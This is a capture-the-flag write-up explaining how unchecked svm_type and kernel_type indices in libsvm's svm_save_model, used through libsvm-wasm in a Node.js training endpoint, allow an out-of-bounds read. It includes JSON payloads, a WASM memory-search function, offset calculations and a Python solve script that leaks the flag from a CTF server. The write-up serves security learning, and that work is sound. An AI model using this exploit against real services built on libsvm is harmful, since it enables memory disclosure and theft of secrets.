Skip to content

Zero Day Pwnable

The app has a single endpoint, /api/train. It initializes the SVM model, trains it on some samples, then saves the model to a .svm file.

These functions are implemented using https://github.com/WenheLI/libsvm-wasm, which in turn depends on https://github.com/cjlin1/libsvm.git.

The WenheLI/libsvm-wasm library provides a C wrapper that interfaces between JS and WASM in libsvm-wasm.c.

Most of the functions here are simple and just call other functions in cjlin1/libsvm, such as

  • svm_load_model
  • svm_train
  • svm_save_model

I decided to take a look at svm_save_model as its output, the exported .svm file, is actually returned to us in the HTTP response. This will be helpful if we are able to leak the flag.

Vulnerability

c
static const char *svm_type_table[] =
{
	"c_svc","nu_svc","one_class","epsilon_svr","nu_svr",NULL
};

static const char *kernel_type_table[]=
{
	"linear","polynomial","rbf","sigmoid","precomputed",NULL
};

int svm_save_model(const char *model_file_name, const svm_model *model)
{
	FILE *fp = fopen(model_file_name,"w");
	
    // ...

	const svm_parameter& param = model->param;

	fprintf(fp,"svm_type %s\n", svm_type_table[param.svm_type]); // OOB 1
	fprintf(fp,"kernel_type %s\n", kernel_type_table[param.kernel_type]); // OOB 2

    // ...
}

Immediately, we can spot two trivially exploitable array out-of-bounds access vulnerabilities.

There is no bounds checking for param.svm_type and param.kernel_type before they are used to index into their respective char* arrays.

This can be verified using a simple payload:

json
{
    "data": [[1, 0], [0, 1]],
    "labels": [1, -1],
    "params": {
        "svm_type": 10000,
        "kernel_type": 0,
        "C": 1
    }
}

In the response, we see that the svm_type is (null):

svm_type (null)
kernel_type linear
nr_class 2
total_sv 0
rho 0
label 1 -1
nr_sv 0 0
SV

Exploitation

To investigate this further, I modified the Dockerfile to start nodejs in debug mode and attached the Chrome nodejs debugger:

docker
CMD [ "node", "--inspect=0.0.0.0:9229",  "index.js"]

This allowed me to inspect the memory layout of the wasm module.

I then set a breakpoint at the start of the svm_save_model and sent a simple request.

This allows us to capture the WASM memory object into a JavaScript global variable using the Chrome DevTools.

I got a LLM to write a function to search the WASM memory:

js
function searchWasmMemoryBytes(wasmMemory, pattern, startOffset = 0, endOffset) {
    // Get the memory buffer as a Uint8Array
    const memoryBuffer = new Uint8Array(wasmMemory.buffer);
    const memorySize = memoryBuffer.length;
    
    // Validate parameters
    if (startOffset < 0 || startOffset >= memorySize) {
        throw new Error(`Start offset ${startOffset} is out of bounds`);
    }
    
    if (endOffset === undefined) {
        endOffset = memorySize;
    }
    
    if (endOffset > memorySize || endOffset <= startOffset) {
        throw new Error(`End offset ${endOffset} is invalid`);
    }
    
    // Convert pattern to Uint8Array
    let searchBytes;
    if (typeof pattern === 'string') {
        // Handle hex string input
        const hexPattern = pattern.replace(/[^0-9A-Fa-f]/g, ''); // Remove non-hex chars
        if (hexPattern.length % 2 !== 0) {
            throw new Error('Hex string must have even number of characters');
        }
        
        searchBytes = new Uint8Array(hexPattern.length / 2);
        for (let i = 0; i < hexPattern.length; i += 2) {
            searchBytes[i / 2] = parseInt(hexPattern.substr(i, 2), 16);
        }
    } else if (pattern instanceof Uint8Array) {
        searchBytes = pattern;
    } else if (Array.isArray(pattern)) {
        // Validate byte values
        for (let i = 0; i < pattern.length; i++) {
            if (!Number.isInteger(pattern[i]) || pattern[i] < 0 || pattern[i] > 255) {
                throw new Error(`Invalid byte value at index ${i}: ${pattern[i]}`);
            }
        }
        searchBytes = new Uint8Array(pattern);
    } else {
        throw new Error('Pattern must be a number array, Uint8Array, or hex string');
    }
    
    if (searchBytes.length === 0) {
        return [];
    }
    
    const results = [];
    const patternLength = searchBytes.length;
    
    // Search through memory
    for (let i = startOffset; i <= endOffset - patternLength; i++) {
        let found = true;
        
        // Check if the pattern matches at this position
        for (let j = 0; j < patternLength; j++) {
            if (memoryBuffer[i + j] !== searchBytes[j]) {
                found = false;
                break;
            }
        }
        
        if (found) {
            results.push(i);
        }
    }
    
    return results;
}

Let's check for the start of the svm_type_table array:

js
searchWasmMemoryBytes(temp1.$memory, "635f737663") // 635f737663 == b"c_svc".hex()
// [2530]
searchWasmMemoryBytes(temp1.$memory, "e209") // e209 == (2530).to_bytes(2, 'little').hex()
// [22752]

So we know that svm_type_table starts at address 22752 or 0x58e0.

What about the flag?

js
searchWasmMemoryBytes(temp1.$memory, "464c41473d") // b"FLAG=".hex()
// [91613]
searchWasmMemoryBytes(temp1.$memory, "dd650100") // dd650100 == (91613).to_bytes(4, 'little').hex()
// [91508]

Now, to leak the flag, we just need to compute (91508-22752)/4 which is 17189. This will be the svm_type that points to a pointer to the flag.

Solve script

python
import requests

url = "http://159.223.33.156:9103/api/train"

payload = {
    "data": [[1, 0], [0, 1]],
    "labels": [1, -1],
    "params": {
        "svm_type": 17189,
        "kernel_type": 0,
        "C": 1
    }
}

response = requests.post(url, json=payload, timeout=10)
print(response.text)

Flag:

svm_type FLAG=flag{a7866720ad35a8814ad482249c6d7be63a36e3c1fda47d90a85381494aa5edf3}
kernel_type linear
nr_class 2
total_sv 0
rho 0
label 1 -1
nr_sv 0 0
SV